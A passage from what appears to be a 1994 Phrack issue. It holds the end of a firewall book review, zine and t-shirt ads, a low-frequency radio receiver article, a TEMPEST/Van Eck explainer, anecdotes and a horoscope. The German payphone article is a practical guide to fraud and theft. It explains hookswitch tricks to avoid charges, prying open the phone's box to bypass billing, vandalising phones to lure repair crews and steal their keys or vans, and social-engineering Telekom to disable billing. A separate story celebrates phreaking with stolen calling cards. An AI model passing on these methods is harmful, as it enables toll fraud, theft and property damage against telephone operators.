computer crime sections are also good -- although I'm not a lawyer and
therefore cannot really comment on it, and notes that look like "5 USC
552a(b)(c)(10)" cause me to shudder. It's interesting to note that some
administrative functions as presented in this book, what the authors call
counter-intelligence (reverse fingers and rusers) and booby traps and fake
password file are open for ethical debate. Perhaps they are not illegal,
but counter-intelligence can surely ring the warning bells on the site being
counter-fingered if that site itself is security aware.
That said, let's move to hackers. I refer to these as "hacker studies",
or whatever, for lack of a better name. This is Part III (A Look
Back), which contains the methods of attacks (social engineering,
stealing passwords, etc), the Berferd incident (more on that later),
and an analysis (statistical and otherwise) of the Bell Labs gateway
logs.
Back to where we started, there is nothing new or innovative about
these chapters. The Berferd hacker case is not new, it is mostly just
uninteresting. The chapter is mostly a copy (they do state this) of
Bill Cheswick's paper titled "A Night with Berferd, in Which a Cracker
is Lured, Endured and Studied." The chapter concerning probes and
door-knob twisting on the Internet (Traps, Lures, and Honey Pots)
is mostly a copy (they do not state this) of Steven Bellovin's paper
titled, "There Be Dragons". What do we learn from the hacker-related
chapters? Let's take Berferd: The Sendmail DEBUG hole expert. After
mailing himself a password file and receiving it with a space after
the username, he tries to add accounts in a similar fashion. Cheswick
calls him "flexible". I might have chosen another F-word. Next are
the hacker logs. People finger. People tftp /etc/passwd. People try
to rlogin as bin. There are no advanced attacks in these sections.
Compared with the scary picture painted in the Firewalls chapter --
that of the Bad Guy spoofing hostnames, flooding DNS caches, faking
NFS packets and much more -- something must have gone wrong.(**)
Still, I cannot say that this information is totally useless. It is,
as mentioned, old. It is available and was available since 1992
on ftp://research.att.com:{/dist/internet_security,/dist/smb}. (***)
The bottom line is that this book is, in my opinion, foremost and upmost
a Firewaller's book. The hacker section could have been condensed
into Appendix D, a copy of the CERT advisory about computer attacks
("Don't use guest/guest. Don't leave root unpassworded.") It really
takes ignorance to believe that inexperienced hackers can learn "hacker
techniques" and become mean Internet break-in machines just by reading
_Firewalls and Internet Security_. Yes, even the chapter dedicated
to trying to attack your own machine to test your security (The Hacker's
Workbench) is largely theoretical. That is to say, it doesn't go above
comments like "attack NFS". The probes and source code supplied there are
for programs like IP subnet scanners and so on, and not for "high-level"
stuff like ICMP bombers or similar software; only the attacks are
mentioned, not to implementation. This is, by the way, quite
understandable and expected, but don't buy this book if you think it
will make you into some TCP/IP attacker wiz.
In summary:
THE GOOD
The Firewalls part is excellent. The other parts not related to
hacker-tracking are good as well. The added bonuses -- in the form
of a useful index, a full bibliography (with pointers to FTP sites),
a TCP port list with interesting comments and a great (running out
of positive descriptions here) online resources list -- are also
grand (whew).
THE BAD
The hacker studies sections, based on old (circa 1992) papers, are
not interesting for anyone with any knowledge of hacking and/or
security who had some sort of encounters with hackers. People without
this knowledge might either get the idea that: (a) all hackers are
stupid and (b) all hackers are Berferd-style system formatters. Based on
the fact that the authors do not make a clear-cut statement about
hiring or not hiring hackers, they just say that you should think
if you trust them, and that they generally appear not to have a total
draconian attitude towards hackers in general, I don't think this was
intentional.
THE UGLY (For the nitpickers)
There are some nasty little bugs in the book. They're not errors
in that sense of the word; they're just kind of annoying -- if you're
sensitive about things like being called a hacker or a cracker, they'll
annoy you. Try this: although they explain why they would use the term
"hacker" when referring to hackers (and not "eggsucker", or "cracker"),
they often use terms like "Those With Evil Intention". Or, comparing
_2600 Magazine_ to the Computer underground Digest.
(*) From the Firewalls FAQ <fwalls-faq@tis.com>:
``A firewall is any one of several ways of protecting one
network from another untrusted network. The actual mechanism
whereby this is accomplished varies widely, but in
principle, the firewall can be thought of as a pair of
mechanisms: one which exists to block traffic, and the other
which exists to permit traffic. Some firewalls place a
greater emphasis on blocking traffic, while others emphasize
permitting traffic.''
(**) This would be a great place to start a long and boring discussion
about different types of hackers and how security (including firewalls)
affect them. But... I don't think so.
(***) ftp://research.att.com:/dist/internet_security/firewall.book also
contains, in text and PostScript, the list of parts, chapters and
sections in the book, and the Preface section. For that reason,
those sections weren't printed here.
All the papers mentioned in this review can be found on that FTP
site.
------------------------------------------------------------------------------
Announcing Bellcore's Electronic Information Catalog for Industry
Clients...
To access the online catalog:
telnet info.bellcore.com
login: cat10
or dial 201-829-2005
annex: telnet info
login: cat10
[Order up some E911 Documents Online!]
------------------------------------------------------------------------------
TTTTT H H EEEEE
T H H E
T HHHHH EEEEE
T H H E
T H H EEEEE
CCC U U RRRR M M U U DDDD GGG EEEEE OOO N N
C C U U R R MM MM U U D D G G E O O NN N
C U U RRRR M M M U U D D G EEEEE O O N N N
C C U U R R M M U U D D G GG E O O N NN
CCC UUU R R M M UUU DDDD GGG EEEEE OOO N N
Bill Clinton promised good health care coverage for everyone.
Bill Clinton promised jobs programs for the unemployed.
Bill Clinton promised that everyone who wanted could serve in the military.
Bill Clinton promised a lot. So does the Curmudgeon.
But unlike Bill Clinton, we'll deliver...
For only $10 a year (12 issues) you'll get alternative music reviews and
interviews, political reporting, anti-establishment features and
commentary, short fiction, movie reviews, book reviews, and humor. Learn
the truth about the Gulf War, Clipper, and the Selective Service System.
Read everything you wanted to know about bands like the Offspring, R.E.M.,
the Cure, Porno for Pyros, Pearl Jam, Dead Can Dance, Rhino Humpers, and
Nine Inch Nails. Become indoctrinated by commentary that just might change
the way you think about some things. Subscribe to the Curmudgeon on paper for
$10 or electronically for free. Electronic subscribers don't get
everything that paying subscribers do like photos, spoof ads, and some
articles.
Paper: send $10 check or money order to the Curmudgeon
4505 University Way N.E.
Box 555
Seattle, Washington
98105
Electronic: send a request to rodneyl@u.washington.edu
------------------------------------------------------------------------------
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% The Journal Of American Underground Computing - ISSN 1074-3111 %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Computing - Communications - Politics - Security - Technology - Humor
-Underground - Editorials - Reviews - News - Other Really Cool Stuff-
Published Quarterly/Semi-Quarterly By Fennec Information Systems
This is one of the more popular new electronic publications. To
get your free subscription, please see the addresses below.
Don't miss out on this newsworthy publication. We are getting
hundreds of new subscriptions a month. This quarterly was promoted
in Phrack Magazine. If you don't subscribe, you're only cheating
yourself. Have a great day...and a similar tomorrow
* Coming soon * A Windows-based help file containing all of the issues
of the magazine as well as extensive bio's of all of the
editors.
Subscription Requests: sub@fennec.com
Comments to Editors : editors@fennec.com
Back issues via Ftp : etext.archive.umich.edu /pub/Zines/JAUC
fc.net /pub/tjoauc
Submissions : submit@fennec.com
Finger info : dfox@fc.net and kahuna@fc.net
------------------------------------------------------------------------------
Make the best out of your European pay telephone
by Onkel Dittmeyer, onkeld@ponton.hanse.de
-----------------------------------------------------
Okay guys and girls, let's come to a topic old like the creation
but yet never revealed. European, or, to be more exact, German pay
phone technology. Huh-huh.
There are several models, round ones, rectangular ones, spiffy
looking ones, dull looking ones, and they all have one thing in
common: If they are something, they are not what the American reader
might think of a public pay telephone, unlike it's U.S. brothers,
the German payphones always operate off a regular customer-style
telephone line, and therefore they're basically all COCOTS, which
makes it a lot easier to screw around with them.
Let's get on with the models here. You are dealing with two
classes; coin-op ones and card-op ones. All of them are made by
Siemens and TELEKOM. The coin-op ones are currently in the process
of becoming extinct while being replaced by the new card-op's, and rather
dull. Lacking all comfort, they just have a regular 3x4 keypad,
and they emit a cuckoo tone if you receive a call. The only way to
tamper with these is pure physical violence, which is still easier
than in the U.S.; these babies are no fortresses at all. Well, while
the coin-op models just offer you the opportunity of ripping off
their money by physically forcing them open, there is a lot more
fun involved if you're dealing with the card babies. They are really
spiffy looking, and I mean extraordinary spiffy. Still nothing
compared to the AT&T VideoFoNeZ, but still really spiffy. The 2-line
pixel-oriented LCD readout displays the pure K-Radness of it's
inventors. Therefore it is equipped with a 4x4 keypad that has a lot
of (undocumented) features like switching the mother into touch-tone
mode, redial, display block etc. Plus, you can toggle the readout
between German, English, and French. There are rumors that you can
put it into Mandarin as well, but that has not been confirmed yet.
Let's get ahead. Since all payphones are operating on a regular
line, you can call them up. Most of them have a sign reading their
number, some don't. For those who don't, there is no way for you to
figure out their number, since they did not invent ANI yet over here
in the country famous for its good beer and yodel chants. Well, try
it. I know you thought about it. Call it collect. Dialing 010 will
drop you to a long-distance operator, just in case you didn't know.
He will connect the call, since there is no database with all the
payphone numbers, the payphone will ring, you pick up, the operator
will hear the cuckoo tone, and tell you to fuck off. Bad luck, eh?
This would not be Phrack if there would be no way to screw it.
If you examine the hook switch on it closely, you will figure out
that, if you press it down real slow and carefully, there are two
levels at whom it provokes a function; the first will make the phone
hang up the line, the second one to reset itself. Let me make this
a little clearer in your mind.
----- <--- totally released
|
|
| <--- hang up line
press to this level --> |
| <--- reset
|
----- <--- totally hung up
Involves a little practice, though. Just try it. Dial a number
it will let you dial, like 0130, then it will just sit there and
wait for you to dial the rest of the number. Start pressing down
the hookswitch really slow till the line clicks away into suspense,
if you release it again it will return you to the dial tone and
you are now able to call numbers you aren't supposed to call, like
010 (if you don't have a card, don't have one, that's not graceful),
or 001-212-456-1111. Problem is, the moment the other party picks
up, the phone will receive a charge subtraction tone, which is a
16kHz buzz that will tell the payphone to rip the first charge unit,
30 pfennigs, off your card, and if you don't have one inserted and
the phone fails to collect it, it will go on and reset itself
disconnecting the line. Bad luck. Still good enough to harass your
favorite fellas for free, but not exactly what we're looking for,
right? Try this one. Push the hook lever to the suspension point,
and let it sit there for a while, you will have to release it a
bit every 5 seconds or so, or the phone will reset anyway. If you
receive a call while doing this, a buzz will appear on the line.
Upon that buzz, let the lever go and you'll be connected, and
the cuckoo tone will be shut up! So if you want to receive a collect
call, this is how you do it. Tell the operator you accept the charges,
and talk away. You can use this method overseas, too: Just tell your
buddy in the states to call Germany Direct (800-292-0049) and make
a collect call to you waiting in the payphone, and you save a cool
$1.17 a minute doing that. So much for the kids that just want to
have some cheap fun, and on with the rest.
Wasting so much time in that rotten payphone, you probably
noticed the little black box beneath the phone. During my, erm,
research I found out that this box contains some fuses, a standard
Euro 220V power connector, and a TAE-F standard phone connector.
Completing the fun is the fact that it's extremely easy to pry it
open. The TAE-F plug is also bypassing the phone and the charge
collection circuits, so you can just use it like your jack at home.
Bring a crowbar and your laptop, or your Pentium tower, power it over
the payphone and plug your Dual into the jack. This way you can even
run a board from a payphone, and people can download the latest
WaReZzzZzz right from the booth. It's preferable to obtain a key for
the lock of the box, just do some malicious damage to it (yes, let
the animal take control), and call Telekom Repairs at 1171 and they
will come and fix it. Since they always leave their cars unlocked,
or at least for the ones I ran across, you can either take the whole
car or all their k-rad equipment, manuals, keys, and even their lunch
box. But we're shooting off topic here. The keys are usually general
keys, means they fit on all payphones in your area. There should also
be a nationwide master key, but the German Minister of Tele-
communications is probably keeping that one in his desk drawer.
The chargecards for the card-op ones appear to have a little chip
on them, where each charge unit is being deducted, and since no-one
could figure out how it works, or how to refill the cards or make a
fake one, but a lot of German phreaks are busy trying to figure that
out.
A good approach is also social-engineering Telekom so they turn
off the charge deduction signal (which doesn't mean the call are free,
but the buzz is just not transmitted any more) so the phone doesn't
receive a signal to charge you any money no matter where you call.
The problem with this method is that the world will spread in the
neighborhood that there is a payphone where you can call for free,
and therefore it will be so crowded that you can't use it, and
the phone pals will catch up fast. It's fun though, I tried it, and
I still get free drinks at the local pub for doing it.
Another k-rad feature on them is the built-in modem that they use
to get their software. On a fatal error condition they appear to dial
a telecom number and download the latest software just how their ROM
commands them to do. We will shortly take a phone, install it some-
where else and figure out where it calls, what the protocol is and
what else is being transmitted, but that will probably be in another
Phrack.
If you found out anything that might be of interest, you are
welcome to mail it to onkeld@ponton.hanse.de using the public key
beneath. Unencrypted mail will be killed since ponton.hanse.de is
run by a paranoid bitch that reads all traffic just for the hell
of it, and I don't want the phedzZz to come and beat me over the
head with a frozen chunk o' meat or worse.
Stay alert, watch out and have fun...
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAize9DEAAAEEAKOb5ebKYg6cAxaiVT/H5JhCqgNNDHpkBwFMNuQW2nGnLMvg
Q0woIxrM5ltnnuCBJGrGNskt3IMXsav6+YFjG6IA8YRHgvWEwYrTeW2tniS7/dXY
fqCCSzTxJ9TtLAiMDBgJFzOIUj3025zp7rVvKThqRghLx4cRDVBISel/bMSZAAUR
tChPbmtlbCBEaXR0bWV5ZXIgPG9ua2VsZEBwb250b24uaGFuc2UuZGU+
=b5ar
-----END PGP PUBLIC KEY BLOCK-----
------------------------------------------------------------------------------
_ _ _ _
((___)) INFORMATION IS JUNK MAIL ((___))
[ x x ] [ x x ]
\ / cDc communications \ /
(' ') -cDc- CULT OF THE DEAD COW -cDc- (' ')
(U) (U)
deal with it, presents unto you 10 phat t-files, deal with it,
S U C K E R fresh for July 1994: S U C K E R
New gNu NEW gnU new GnU nEW gNu neW gnu nEw GNU releases for July, 1994:
_________________________________/Text Files\_________________________________
261: "Interview with Greta Shred" by Reid Fleming. Reid conducts an in-depth
interview with the editor of the popular 'zine, _Mudflap_.
262: "_Beverly Hills 90210_ as Nostalgia Television" by Crystal Kile. Paper
presented for the 1993 National Popular Culture Association meeting in New
Orleans.
263: "What Color Is the Sky in Your World?" by Tequila Willy. Here's your
homework, done right for you by T. "Super-Brain" Willy.
264: "Chicken Hawk" by Mark E. Dassad. Oh boy. Here's a new watermark low
level of depravity and sickness. If you don't know what a "chicken hawk" is
already, read the story and then you'll understand.
265: "Eye-r0N-EE" by Swamp Ratte'. This one's interesting 'cause only about
half-a-dozen or so lines in it are original. The rest was entirely stuck
together from misc. files on my hard drive at the time. Some art guy could say
it's a buncha post-this&that, eh? Yep.
266: "Interview with Barbie" by Clench. Barbie's got her guard up. Clench
goes after her with his rope-a-dope interview style. Rope-a-dope, rope-a-dope.
This is a boxing reference to a technique mastered by The Greatest of All Time,
Muhamed Ali.
267: "About a Boy" by Franken Gibe. Mr. Gibe ponders a stolen photograph.
Tiny bunnies run about, unhindered, to find their own fate.
268: "Mall Death" by Snarfblat. Story about a Dumb Girl[TM]. Are you
surprised?
269: "Prophile: Future History" by THE NIGHTSTALKER. It's the future, things
are different, but the Master Hacker Dude lives on.
270: "Time out for Pop" by Malcolm D. Moore. Sad account of a hopless-pop.
__________________________________/cDc Gnuz\__________________________________
"And that no man might buy or sell, save he that had the mark, or the name
of the Cow, or the number of his name. Here is wisdom. Let him that hath
understanding count the number of the Cow: for it is the number of a man; and
his number is eight billion threescore and seven million nine hundred fourty-
four thousand three hundred threescore and two. So it is written." -Omega
Yowsah, yowsah, yowsah. JULY once again, the super-hooray month which marks
cDc's 8th year of existence. Outlasting everyone to completely rule and
dominate all of cyberspace, blah blah blah. Yeah, think a special thought
about cDc's significance in YOUR life the next time you go potty. Name your
firstborn child after me, and we'll call it karmicly even, pal. My name is
Leroy.
We're always taking t-file submissions, so if you've got a file and want to
really get it out there, there's no better way than with cDc. Upload text to
The Polka AE, to sratte@phantom.com, or send disks or hardcopy to the cDc post
office box in Lubbock, TX. No song lyrics and bad poetry please; we'll leave
that to the no-class-havin', bottom-feeder e-shoveling orgs. out there.
News item of the month, as found by Count Zero:
"ROTTING PIG FOUND IN DITCH
VERDEN, OKLAHOMA - Responding to a tip from an employee, Verden farmer Bill
McVey found a rotting pig in a ditch two miles north of town. Farmer McVey
reported the pig to the authorities, because you cannot, legally, just leave a
dead pig in a ditch. You must dispose of your deceased livestock properly.
There are companies that will take care of this for you. As for proper
disposal of large dead animals, McVey contracts with Used Cow Dealer."
"...and the rivers ran red with the bl00d
of the Damned and the Deleted..."
-Dem0nSeed
S. Ratte'
cDc/Editor and P|-|Ear13zz |_3@DeRrr
"We're into t-files for the groupies and money."
Middle finger for all.
Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453.
Internet: sratte@phantom.com.
ALL cDc FILES LEECHABLE FROM FTP.EFF.ORG IN pub/Publications/CuD/CDC.
_____________________________________________________________________________
cDc Global Domination Update #16-by Swamp Ratte'-"Hyperbole is our business"
Copyright (c) 1994 cDc communications. All Rights Reserved.
------------------------------------------------------------------------------
===[ Radio Modification Project ]===========================================>
Tuning in to Lower Frequency Signals June 26, 1994
====================================================[ By: Grendel / 905 ]===>
The lower frequency regions of the radio spectrum are often
ignored by ham'ers, pirates, and DX'ers alike due to the
relatively little known ways of tuning in. The following article
will detail how to construct a simple-made antenna to tune in
to the LF's and show how to adjust an amateur band type radio
to receive the desired signals.
___________
\ /
\/: \/
/ . \
\_______/he lower frequency spectrum has been made to include
the very low frequency ("VLF" 2 kHz to 30 kHz) band and a
small part of the medium frequency ("MF" 300 - 500 kHz) band.
For our purposes, a suitable receiver must be able to cover
the 2 kHz to 500 kHz range as well as being calibrated at 10
kHz intervals (standard). The receiver must also be capable of
covering AM and CW broadcasts. For best capabilities, the
receiver should also be able to cover LSB ("lower side band")
and USB ("upper side band").
The Receiving System
`'`'`'`'`'`'`'`'`'`'
The receiver I use consists of a standard amateur HF ("High
Frequency") band receiver adjusted between the 3,500 and 4,000
kHz bands. This causes the receiver to act as a tuneable IF
("Intermediate Frequency") and also as demodulator. You will
also require a wideband LF ("Low Frequency") converter which
includes a 3,500 kHz crystal oscillator. See Fig. 1:
.==[ Fig 1. Block Diagram ]============================.
| _____ |
| \ANT/ |
| \./ crystal |
| | ______|______ ____________ |
| `-----| 2 - 500 kHz | | 3-4000 kHz | |
| | Converter* |--~--| IF Receiver|---OUTPUT |
| .-----|_____________| |____________| |
| | |
| GND |
|______________________________________________________|
*The converter is a circuit board type 80D/L-101/PCB
available from L.F. Engineering Co, 17 Jeffry Road,
East Haven CT, 06513 for $43 US including S & H.One
may be constructed to work with your receiver (but
at a higher price no doubt).
Phono jack plugs and sockets are used for the interconnections
throughout the receiving system and the converter and
receiver (~) are connected with RG58 coax cable of no greater
length than 4 ft.
When tuning, the station frequency is measured by deducting
3,500 kHz from the scale on the main receiver (ie. 340 kHz =
3,840 kHz on the main receiver, 120 = 3,620 kHz, 95 = 3,595
kHz, etc.)
The Ferrite End-fed Antenna
`'`'`'`'`'`'`'`'`'`'`'`'`'`
This is a small antenna designed to tune between 95 kHz and
500 kHz. It consists of a coil wound around a ferrite rod, with
a 4 ft. lead.
Materials:
o 7 7/8" x 3/8" ferrite rod
o 5" 24 SWG double cotton covered copper wire
o 2 PLASTIC coated terry clips
o a wood or plastic base (8 1/2" x .8" x .5")
o 2 standard, two-gang 500 pF tuning capacitors
o a plastic plate (preferably 2" high)
------------------------------------------------------------------------------
-- A Few Things on Van Eck's Method of Eavesdroping --
Opticon the Disassembled - UPi
Dr Wim Van Eck, was the one who developed the anonymous method for
eavesdroping computers ( and, apparently, not only ) from distance,
in the laboratories of Neher, Holland. This method is based on the
fact that monitors do transmit electromagnetic radiations. As a device,
it is not too complex and it can be constructed from an experienced
electronics phreak. It uses a simple-direction antenna which grabs
monitor signals from about 800 meters away. Simplified schematics are
available from Consumertronics.
TEMPEST stands for Transient ElectroMagnetic Pulse Emanation STandard.
It concerns the quantity of electromagnetic radiations from monitors and
televisions, although they can also be detected on keyboards, wires,
printers and central units. There are some security levels in which such
radiations are supposed to be untraceable by Van Eck systems. Those
security levels or standards, are described thoroughly in a technical
exposition called NACSIM 5100A, which has been characterized by NSA
classified.
Variations of the voltage of the electrical current, cause electromagnetic
pulses in the form of radio waves. In cathode ray tube ( C.R.T. ) devices,
such as televisions and monitors, a source of electrons scans the internal
surface and activates phosphore. Whether or not the scanning is interlaced or
non-interlaced, most monitors transmit frequencies varying from 50 to 75
Mhz per second. They also transmit harmonic frequencies, multiplies of the
basic frequencies; for example a transmitter with signal of 10 Mhz per second
will also transmit waves of 20, 30, 40 etc. Mhz. Those signals are
weaker because the transmiter itself effaces them. Such variations in the
voltage is what the Van Eck system receives and analyzes.
There are ways to prevent or make it harder for someone to monitor
your monitor. Obviously you cannot place your computer system
underground and cover it with a Faraday cage or a copper shield
( If your case is already that, then you know more about Van Eck
than I do ). What else ?
(1) Certain computers, such as Wang's, prevent such divulges;
give preference to them.
(2) Place your monitor into a grounded metal box, 1.5 cm thick.
(3) Trace your tracer(s). They gonna panic.
(4) Increase of the brightness and lowering of the contrast
reduces TEMPEST's power. Metal objects, like bookshelves,
around the room, will also help a little bit.
(5) Make sure that two or more monitors are transmitting at the same
frequency and let them operate simultaneously; this will confuse
Van Eck systems.
(6) Buy or make on your own, a device which will transmit noise
at your monitor's frequency.
(7) Act naturally. That is:
(a) Call IRC, join #hack and never mumble a single word.
(b) Read only best selling books.
(c) Watch television at least 8 hours a day.
(d) Forget altruism; there is only you, yourself
and your dick/crack.
(8) Turn the monitor off.
------------------------------------------------------------------------------
-Almost Busted-
By: Deathstar
It all started one week in the last month of summer. Only my brother
and I were at the house for the whole week, so I did whatever I wanted.
Every night, I would phreak all night long. I would be either at a payphone
using AT&Tz, or at home sitting on a conference. I would be on the phone
till at least four or five in the morning. But one night, my luck was running
thin, and I almost phreaked for the last time. I was at a payphone, using
cards. I had been there since around twelve midnight.. The payphone was
in a shopping center with a supermarket and a few other stores. Most every
thing closed at eleven.. Except for the nearby gas station. Anyway, I was
on the phone with only one person that night. I knew the card would be dead
by the end of the night so I went ahead and called him on both of his lines
with both of the payphones in the complex with the same card. I had talked
for hours. It started to get misty and hard to see. Then, I noticed a car
of some kind pulling into the parking lot. I couldn't tell what kind of
car it was, because it was so dark. The car started pulling up to me, and
when it was around twenty feet away I realized it was a police car. They
got on the loudspeaker and yelled "Stay where you are!". I dropped the
phone and ran like hell past the supermarket to the edge of the complex.
I went down a bike path into a neighborhood of townhouses. Running across
the grass, I slipped and fell about two or three times. I knew they were
following me, so I had to hide. I ran to the area around the back of
the supermarket into a forest. I smacked right into a fence and fell
on the ground. I did not see the fence since it was so dark. Crawling a
few feet, I laid down and tried to cover my body with some leaves and
dirt to hide. I was wearing an orange shirt and white shorts. I laid
as still as I could, covered in dirt and leaves. I could hear the police
nearby. They had flashlights and were walking through the forest looking
for me. I knew I would get busted. I tried as hard as I could to keep
from shaking in fear. I lay there for around thirty minutes. Bugs were
crawling around on my legs biting me. I was itching all over. I couldn't
give up though, because if they caught me I knew that would be the end
of my phreaking career. I was trying to check if they were still looking
for me, because I could not hear them. Just as I was about to make a run
for it, thinking they were gone I heard a police radio. I sat tight again.
For another hour, I lay there until finally I was sure they were gone. I
got up and started to run. I made my way through the neighborhood to my
house. Finally I got home. It was around five thirty a.m. I was filthy.
The first thing I did was call the person I was talking to on the payphone
and tell him what happened. Then, I changed clothes and cleaned myself up.
I checked my vmb to find that a conference was up. I called it, and told
my story to everyone on.
I thought that was the end of my confrontation with the police, but I
was wrong. The next day I had some people over at my house. Two or Three
good friends. One of them said that there was a fugitive loose in our
town. We were bored so we went out in the neighborhood to walk around
and waste time. Hardly anyone was outside, and police cars were going
around everywhere. One guy did leave his house but he brought a baseball
bat with him. We thought it was funny. Anyway, we soon got bored and
went back home. Watching tv, we turned to the news. They had a Report
about the Fugitive. We watched. It showed a picture of the shopping
center I was at. They said "One suspect was spotted at this shopping
center last night at around four thirty in the morning. The officer
is around ninety five percent sure that the suspect was the fugitive.
He was wearing a orange shirt and white shorts, and ran when approached."
I then freaked out. They were searching my neighborhood for a fugitive
that didn't exist! I called back the guy I was talking to the night
before and told him, and then told everyone that was on the conference
the night before. It ended up that the fugitives never even entered
our state. They were caught a week later around thirty miles from
the prison they escaped from. Now I am known by two nicknames. "NatureBoy"
because everyone says I communed with nature for a hour and a half hiding
from the police, and "The Fugitive" for obvious reasons. Anywayz, That's
how I was almost busted..
-DS
------------------------------------------------------------------------------
The following is a *true* story. It amused the hell out of me while it
was happening. I hope it isn't one of those "had to be there" things.
Copyright 1994 Captain Sarcastic, all rights reserved.
On my way home from the second job I've taken for the extra holiday ca$h I
need, I stopped at Taco Bell for a quick bite to eat. In my billfold is
a $50 bill and a $2 bill. That is all of the cash I have on my person.
I figure that with a $2 bill, I can get something to eat and not have to
worry about people getting pissed at me.
ME: "Hi, I'd like one seven layer burrito please, to go."
IT: "Is that it?"
ME: "Yep."
IT: "That'll be $1.04, eat here?"
ME: "No, it's *to* *go*." [I hate effort duplication.]
At his point I open my billfold and hand him the $2 bill. He looks at it
kind of funny and
IT: "Uh, hang on a sec, I'll be right back."
He goes to talk to his manager, who is still within earshot. The
following conversation occurs between the two of them.
IT: "Hey, you ever see a $2 bill?"
MG: "No. A what?"
IT: "A $2 bill. This guy just gave it to me."
MG: "Ask for something else, THERE'S NO SUCH THING AS A $2 BILL." [my emp]
IT: "Yeah, thought so."
He comes back to me and says
IT: "We don't take these. Do you have anything else?"
ME: "Just this fifty. You don't take $2 bills? Why?"
IT: "I don't know."
ME: "See here where it says legal tender?"
IT: "Yeah."
ME: "So, shouldn't you take it?"
IT: "Well, hang on a sec."
He goes back to his manager who is watching me like I'm going to
shoplift, and
IT: "He says I have to take it."
MG: "Doesn't he have anything else?"
IT: "Yeah, a fifty. I'll get it and you can open the safe and get change."
MG: "I'M NOT OPENING THE SAFE WITH HIM IN HERE." [my emp]
IT: "What should I do?"
MG: "Tell him to come back later when he has REAL money."
IT: "I can't tell him that, you tell him."
MG: "Just tell him."
IT: "No way, this is weird, I'm going in back."
The manager approaches me and says
MG: "Sorry, we don't take big bills this time of night." [it was 8pm and
this particular Taco Bell is in a well lighted indoor mall with 100
other stores.]
ME: "Well, here's a two."
MG: "We don't take *those* either."
ME: "Why the hell not?"
MG: "I think you *know* why."
ME: "No really, tell me, why?"
MG: "Please leave before I call mall security."
ME: "Excuse me?"
MG: "Please leave before I call mall security."
ME: "What the hell for?"
MG: "Please, sir."
ME: "Uh, go ahead, call them."
MG: "Would you please just leave?"
ME: "No."
MG: "Fine, have it your way then."
ME: "No, that's Burger King, isn't it?"
At this point he BACKS away from me and calls mall security on the phone
around the corner. I have two people STARING at me from the dining area,
and I begin laughing out loud, just for effect. A few minutes later this
45 year oldish guy comes in and says [at the other end of counter, in a
whisper]
SG: "Yeah, Mike, what's up?"
MG: "This guy is trying to give me some [pause] funny money."
SG: "Really? What?"
MG: "Get this, a *two* dollar bill."
SG: "Why would a guy fake a $2 bill?" [incredulous]
MG: "I don't know? He's kinda weird. Says the only other thing he has is
a fifty."
SG: "So, the fifty's fake?"
MG: "NO, the $2 is."
SG: "Why would he fake a $2 bill?"
MG: "I don't know. Can you talk to him, and get him out of here?"
SG: "Yeah..."
Security guard walks over to me and says
SG: "Mike here tells me you have some fake bills you're trying to use."
ME: "Uh, no."
SG: "Lemme see 'em."
ME: "Why?"
SG: "Do you want me to get the cops in here?"
At this point I was ready to say, "SURE, PLEASE," but I wanted to eat, so
I said
ME: "I'm just trying to buy a burrito and pay for it with this $2 bill."
I put the bill up near his face, and he flinches like I was taking a
swing at him. He takes the bill, turns it over a few times in his hands,
and says
SG: "Mike, what's wrong with this bill?"
MG: "It's fake."
SG: "It doesn't look fake to me."
MG: "But it's a **$2** bill."
SG: "Yeah?"
MG: "Well, there's no such thing, is there?"
The security guard and I both looked at him like he was an idiot, and it
dawned on the guy that he had no clue.
My burrito was free and he threw in a small drink and those cinnamon
things, too. Makes me want to get a whole stack of $2 bills just to see
what happens when I try to buy stuff. If I got the right group of
people, I could probably end up in jail. At least you get free food.
------------------------------------------------------------------------------
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 4 of 28
// // /\ // ====
// // //\\ // ====
==== // // \\/ ====
/\ // // \\ // /=== ====
//\\ // // // // \=\ ====
// \\/ \\ // // ===/ ====
PART II
------------------------------------------------------------------------------
The official Legion of Doom t-shirts are still available.
Join the net.luminaries world-wide in owning one of
these amazing shirts. Impress members of the opposite sex, increase
your IQ, annoy system administrators, get raided by the government and
lose your wardrobe!
Can a t-shirt really do all this? Of course it can!
--------------------------------------------------------------------------
"THE HACKER WAR -- LOD vs MOD"
This t-shirt chronicles the infamous "Hacker War" between rival
groups The Legion of Doom and The Masters of Destruction. The front
of the shirt displays a flight map of the various battle-sites
hit by MOD and tracked by LOD. The back of the shirt
has a detailed timeline of the key dates in the conflict, and
a rather ironic quote from an MOD member.
(For a limited time, the original is back!)
"LEGION OF DOOM -- INTERNET WORLD TOUR"
The front of this classic shirt displays "Legion of Doom Internet World
Tour" as well as a sword and telephone intersecting the planet
earth, skull-and-crossbones style. The back displays the
words "Hacking for Jesus" as well as a substantial list of "tour-stops"
(internet sites) and a quote from Aleister Crowley.
--------------------------------------------------------------------------
All t-shirts are sized XL, and are 100% cotton.
Cost is $15.00 (US) per shirt. International orders add $5.00 per shirt for
postage.
Send checks or money orders. Please, no credit cards, even if
it's really your card.
Name: __________________________________________________
Address: __________________________________________________
City, State, Zip: __________________________________________
I want ____ "Hacker War" shirt(s)
I want ____ "Internet World Tour" shirt(s)
Enclosed is $______ for the total cost.
Mail to: Chris Goggans
603 W. 13th #1A-278
Austin, TX 78701
These T-shirts are sold only as a novelty items, and are in no way
attempting to glorify computer crime.
------------------------------------------------------------------------------
introducing...
The PHRACK Horoscope, Summer 1994
Foreseen in long nights of nocturnal lubrication by Onkel Dittmeyer
---
Do you believe in the stars? Many do, some don't. In fact, the stars
can tell you a whole lot about the future. That's bullshit? You don't
believe it? Good. Be doomed. See you in hell. Here's the official PHRACK
horoscope for all eleet hackerz for the summer of 1994.
You can use this chart to find out your zodiac sign by your DOB.
Aquarius.....01/20 - 02/18 Leo..........07/23 - 08/22
Pisces.......02/19 - 03/20 Virgo........08/23 - 09/22
Aries........03/21 - 04/19 Libra........09/23 - 10/22
Taurus.......04/20 - 05/20 Scorpio......10/23 - 11/21
Gemini.......05/21 - 06/20 Sagittarius..11/22 - 12/21
Cancer.......06/21 - 07/22 Capricorn....12/22 - 01/19
---
oOo This summer's best combinations oOo
YOU LOVE BS VICTIM H0T WAREZ
==============================================================
Aquarius Libra Leo Sagittarius
Pisces Sagittarius Aquarius Cancer
